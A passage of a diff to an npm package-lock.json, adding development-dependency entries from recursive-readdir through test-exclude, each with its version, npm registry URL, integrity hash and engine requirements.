"https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "dev": true, + "dependencies": { + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/recursive-readdir/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/recursive-readdir/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve": { + "version": "1.22.4", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.4.tgz", + "integrity": "sha512-PXNdCiPqDqeUou+w1C2eTQbNfxKSuMxqTCuvlmmMsk1NWHL5fRrhY6Pl0qEYYc6+QqGClco1Qj8XnjPego4wfg==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", + "dev": true + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/responselike": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-3.0.0.tgz", + "integrity": "sha512-40yHxbNcl2+rzXvZuVkrYohathsSJlMTXKryG5y8uciHv1+xDLHQpgjG64JUO9nrEq2jGLH6IZ8BcZyw3wrweg==", + "dev": true, + "dependencies": { + "lowercase-keys": "^3.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/resq": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/resq/-/resq-1.11.0.tgz", + "integrity": "sha512-G10EBz+zAAy3zUd/CDoBbXRL6ia9kOo3xRHrMDsHljI0GDkhYlyjwoCx5+3eCC4swi1uCoZQhskuJkj7Gp57Bw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^2.0.1" + } + }, + "node_modules/restore-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz", + "integrity": "sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==", + "dev": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/restore-cursor/node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/restore-cursor/node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, + "node_modules/rgb2hex": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/rgb2hex/-/rgb2hex-0.2.5.tgz", + "integrity": "sha512-22MOP1Rh7sAo1BZpDG6R5RFYzR2lYEgwq7HEmyW2qcsOqR2lQKmn+O//xV3YG/0rrhMC6KVX2hU+ZXuaw9a5bw==", + "dev": true + }, + "node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/rimraf/node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/rollup": { + "version": "3.29.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-3.29.0.tgz", + "integrity": "sha512-nszM8DINnx1vSS+TpbWKMkxem0CDWk3cSit/WWCBVs9/JZ1I/XLwOsiUglYuYReaeWWSsW9kge5zE5NZtf/a4w==", + "dev": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=14.18.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/run-async": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/run-async/-/run-async-3.0.0.tgz", + "integrity": "sha512-540WwVDOMxA6dN6We19EcT9sc3hkXPw5mzRNGM3FkdN/vtE9NFvj5lFAPNwUDmJjXidm3v7TC1cTE7t17Ulm1Q==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/rxjs": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.1.tgz", + "integrity": "sha512-AA3TVj+0A2iuIoQkWEK/tqFjBq2j+6PO6Y0zJcvzLAFhEFIO3HL0vls9hWLncZbAAbK0mar7oZ4V079I/qPMxg==", + "dev": true, + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safaridriver": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/safaridriver/-/safaridriver-0.1.0.tgz", + "integrity": "sha512-azzzIP3gR1TB9bVPv7QO4Zjw0rR1BWEU/s2aFdUMN48gxDjxEB13grAEuXDmkKPgE74cObymDxmAmZnL3clj4w==", + "dev": true + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true + }, + "node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/serialize-error": { + "version": "11.0.2", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-11.0.2.tgz", + "integrity": "sha512-o43i0jLcA0LXA5Uu+gI1Vj+lF66KR9IAcy0ThbGq1bAMPN+k5IgSHsulfnqf/ddKAz6dWf+k8PD5hAr9oCSHEQ==", + "dev": true, + "dependencies": { + "type-fest": "^2.12.2" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serialize-error/node_modules/type-fest": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-2.19.0.tgz", + "integrity": "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/serialize-javascript": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz", + "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/setimmediate": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz", + "integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==", + "dev": true + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.7.1.tgz", + "integrity": "sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==", + "dev": true, + "dependencies": { + "ip": "^2.0.0", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.13.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.2.tgz", + "integrity": "sha512-8zuqoLv1aP/66PHF5TqwJ7Czm3Yv32urJQHrVyhD7mmA6d61Zv8cIXQYPTWwmg6qlupnPvs/QKDmfa4P/qct2g==", + "dev": true, + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "socks": "^2.7.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/socks/node_modules/ip": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ip/-/ip-2.0.0.tgz", + "integrity": "sha512-WKa+XuLG1A1R0UWhl2+1XQSi+fZWMsYKffMZTTYsiZaUD8k2yDAj5atimTUD2TZkyCkNEeYE5NhFZmupOGtjYQ==", + "dev": true + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "dev": true, + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", + "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", + "dev": true + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "dev": true, + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.13", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz", + "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w==", + "dev": true + }, + "node_modules/split2": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/split2/-/split2-4.2.0.tgz", + "integrity": "sha512-UcjcJOWknrNkF6PLX83qcHM6KHgVKNkV62Y8a5uYDVv9ydGQVwAHMKqHdJje1VTWpljG0WYpCDhrCdAOYH4TWg==", + "dev": true, + "engines": { + "node": ">= 10.x" + } + }, + "node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", + "dev": true + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/stream-buffers": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", + "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==", + "dev": true, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/streamx": { + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.15.1.tgz", + "integrity": "sha512-fQMzy2O/Q47rgwErk/eGeLu/roaFWV0jVsogDmrszM9uIw8L5OA+t+V93MgYlufNptfjmYR1tOMWhei/Eh7TQA==", + "dev": true, + "dependencies": { + "fast-fifo": "^1.1.0", + "queue-tick": "^1.0.1" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", + "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==", + "dev": true, + "dependencies": { + "is-utf8": "^0.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/strip-final-newline": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-3.0.0.tgz", + "integrity": "sha512-dOESqjYr96iWYylGObzd39EuNTa5VJxyvVAEm5Jnh7KGo75V43Hk1odPQkNDyXNmUR6k+gEiDVXnjB8HJ3crXw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/suffix": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/suffix/-/suffix-0.1.1.tgz", + "integrity": "sha512-j5uf6MJtMCfC4vBe5LFktSe4bGyNTBk7I2Kdri0jeLrcv5B9pWfxVa5JQpoxgtR8vaVB7bVxsWgnfQbX5wkhAA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tar-fs": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.4.tgz", + "integrity": "sha512-5AFQU8b9qLfZCX9zp2duONhPmZv0hGYiBPJsyUdqMjzq/mqVpy/rEUSeHk1+YitmxugaptgBh5oDGU3VsAJq4w==", + "dev": true, + "dependencies": { + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^3.1.5" + } + }, + "node_modules/tar-stream": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-3.1.6.tgz", + "integrity": "sha512-B/UyjYwPpMBv+PaFSWAmtYjwdrlEaZQEhMIBFNC5oEG8lpiW8XjcSdmEaClj28ArfKScKHs2nshz3k2le6crsg==", + "dev": true, + "dependencies": { + "b4a": "^1.6.4", + "fast-fifo": "^1.2.0", + "streamx": "^2.15.0" + } + }, + "node_modules/test-exclude": { + "version": "6.0.0", + "resolved": 